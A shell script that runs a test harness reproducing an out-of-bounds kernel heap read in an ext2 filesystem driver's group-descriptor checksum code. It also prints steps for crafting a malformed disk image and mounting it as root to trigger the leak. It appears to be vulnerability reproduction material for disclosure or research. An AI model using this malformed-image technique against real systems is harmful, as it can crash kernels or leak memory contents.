#!/bin/sh
# DF-0876 — run the deterministic C harness.
#
# Demonstrates ext2_csum.c:684-686 reads 65503 bytes past the 64-byte
# struct ext2_gd when e3fs_desc_size=0xFFFF, faulting at the predicted
# page boundary (mirroring what the kernel page-fault would do on
# heap-layout-dependent unmapped memory).
#
# Usage: ./run.sh
set -e
cd "$(dirname "$0")"
./harness
echo "HARNESS_RC=$?"
echo ""
echo "=== To reproduce the in-kernel manifestation (root required): ==="
echo "  1. python3 craft_img.py ext2_bad.img 4096     # host: mke2fs + patch s_desc_size=0xFFFF"
echo "  2. scp ext2_bad.img dfbsd:/root/"
echo "  3. on guest (as root):"
echo "       kldload ext2fs"
echo "       vnconfig -c vn0 /root/ext2_bad.img"
echo "       mkdir -p /mnt/t1"
echo "       mount_ext2fs /dev/vn0 /mnt/t1"
echo "     expected: 'Input/output error' + dmesg line:"
echo "       WARNING: mount of vn0 denied due bad gd=0 csum=0x????, expected=0x???? - run fsck"
echo "     (the 'expected' value varies across mounts because it incorporates"
echo "      leaked adjacent heap bytes -- the OOB read side-channel.)"